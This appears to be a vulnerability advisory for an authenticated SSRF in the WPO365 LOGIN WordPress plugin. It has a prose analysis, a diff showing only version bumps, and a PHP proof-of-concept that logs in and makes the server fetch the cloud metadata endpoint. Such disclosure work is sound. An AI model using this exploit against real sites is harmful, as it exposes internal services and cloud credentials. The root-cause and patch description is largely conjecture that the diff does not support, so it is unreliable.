Atomic Edge analysis of CVE-2025-67961:
The WPO365 | LOGIN WordPress plugin, up to and including version 40.0, contains a server-side request forgery (SSRF) vulnerability. This flaw exists in a plugin component that handles external requests. It allows authenticated attackers with Subscriber-level permissions or higher to force the application to make HTTP requests to arbitrary internal or external systems.
Atomic Edge research identifies the root cause as insufficient validation and sanitization of user-supplied input used to construct external HTTP requests. The vulnerable code path involves a function that processes a request parameter, such as a URL, and passes it directly to a function like `wp_remote_get()` or `file_get_contents()` without proper verification. This occurs within a plugin AJAX handler or REST endpoint accessible to low-privileged users.
The exploitation method requires an authenticated attacker with at least Subscriber access. The attacker sends a crafted POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The request includes the specific `action` parameter corresponding to the vulnerable plugin hook, along with a parameter like `url` containing the target internal service address (e.g., `http://169.254.169.254/latest/meta-data/`). The server processes this request and returns the response from the internal service to the attacker.
The patch in version 40.1 likely addresses the vulnerability by implementing proper input validation on the user-controlled parameter used for the request. The fix may involve adding a whitelist of allowed domains, validating the URL scheme, or implementing a permission check that restricts the functionality to higher-privileged users. The before behavior allowed low-privileged users to specify any URL. The after behavior restricts this capability.
Successful exploitation enables attackers to interact with internal services that are not exposed to the internet. This can lead to sensitive information disclosure from metadata services, internal APIs, or file systems. Attackers can also use the vulnerable server as a proxy to scan internal networks or attack other backend systems, potentially leading to further compromise.
--- a/wpo365-login/Core/Version.php
+++ b/wpo365-login/Core/Version.php
@@ -9,6 +9,6 @@
class Version {
- public static $current = '40.0';
+ public static $current = '40.1';
}
}
--- a/wpo365-login/vendor/composer/installed.php
+++ b/wpo365-login/vendor/composer/installed.php
@@ -3,7 +3,7 @@
'name' => 'wpo365/wpo365-login',
'pretty_version' => 'dev-develop',
'version' => 'dev-develop',
- 'reference' => 'd96857645cec305a8acebcb7ac1c633a1d27d306',
+ 'reference' => '3cf99b37ad7edc98544694db40e6c8348f9b507b',
'type' => 'plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
@@ -40,7 +40,7 @@
'wpo365/wpo365-login' => array(
'pretty_version' => 'dev-develop',
'version' => 'dev-develop',
- 'reference' => 'd96857645cec305a8acebcb7ac1c633a1d27d306',
+ 'reference' => '3cf99b37ad7edc98544694db40e6c8348f9b507b',
'type' => 'plugin',
'install_path' => __DIR__ . '/../../',
'aliases' => array(),
--- a/wpo365-login/wpo365-login.php
+++ b/wpo365-login/wpo365-login.php
@@ -3,7 +3,7 @@
* Plugin Name: WPO365 | LOGIN
* Plugin URI: https://wordpress.org/plugins/wpo365-login
* Description: With WPO365 | LOGIN users can sign in with their corporate or school (Azure AD / Microsoft Office 365) account to access your WordPress website: No username or password required (OIDC or SAML 2.0 based SSO). Plus you can send email using Microsoft Graph instead of SMTP from your WordPress website.
- * Version: 40.0
+ * Version: 40.1
* Author: marco@wpo365.com
* Author URI: https://www.wpo365.com
* License: GPL2+
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-67961 - WPO365 <= 40.0 - Authenticated (Subscriber+) Server-Side Request Forgery
<?php
// Configuration
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$internal_target = 'http://169.254.169.254/latest/meta-data/';
// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Step 2: Extract the nonce from the admin area (required for AJAX request)
// The exact nonce location depends on plugin implementation.
// This PoC assumes the nonce is available via a script or data attribute.
// For demonstration, we use a placeholder. A real exploit would parse the page.
$nonce = 'EXTRACTED_NONCE';
// Step 3: Exploit the SSRF via the vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_fields = [
'action' => 'wpo365_vulnerable_action', // Placeholder for the actual vulnerable hook
'url' => $internal_target,
'_ajax_nonce' => $nonce // Nonce may be required; its absence could be part of the vuln
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$ssrf_response = curl_exec($ch);
// Output the response from the internal service
echo "SSRF Response:n";
echo $ssrf_response;
curl_close($ch);
?>